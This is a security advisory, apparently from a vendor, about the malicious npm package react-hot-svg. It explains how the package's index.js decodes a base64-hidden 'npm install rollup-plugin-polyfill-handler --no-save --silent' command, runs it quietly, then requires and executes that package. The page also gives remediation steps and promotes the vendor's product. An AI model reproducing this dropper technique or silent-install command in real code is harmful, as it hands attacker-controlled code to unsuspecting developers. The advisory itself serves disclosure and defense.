react-hot-svgnpm
react-hot-svg is a confirmed malicious npm package (MAL-2026-10439) that executes malicious code on install (malicious versions 1.1.4, 1.1.5, 1.1.7…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in react-hot-svg (npm)
What this malware does
index.js in react-hot-svg 1.1.4 hides both a shell command and a package name as base64 strings named svgValidateKey and svgValidatePattern. When any of the exported API surface (getPlugin, setPlugin, validateSvgContent) is invoked, the code decodes svgValidateKey via atob to the string npm install rollup-plugin-polyfill-handler --no-save --silent --no-audit --no-fund, spawns it via child_process.spawn with stdio: 'ignore', and on process exit require()s the base64-decoded module name rollup-plugin-polyfill-handler and immediately invokes its .getPlugin()() function. The --no-save --silent --no-audit --no-fund flags suppress output and prevent the added dependency from appearing in package.json or the lockfile. The obfuscation of both the command and the required module name, the SVG-themed cover identifiers, and the pattern of installing-then-requiring-then-executing an undeclared external package match a dropper that lands and executes attacker-controlled code from a separate npm package on any consumer who uses this library's advertised API.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for react-hot-svg (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging react-hot-svg across your stack and pipelines.
If you installed it — respond
Remove react-hot-svg from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If react-hot-svg was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks react-hot-svg before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks react-hot-svg-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.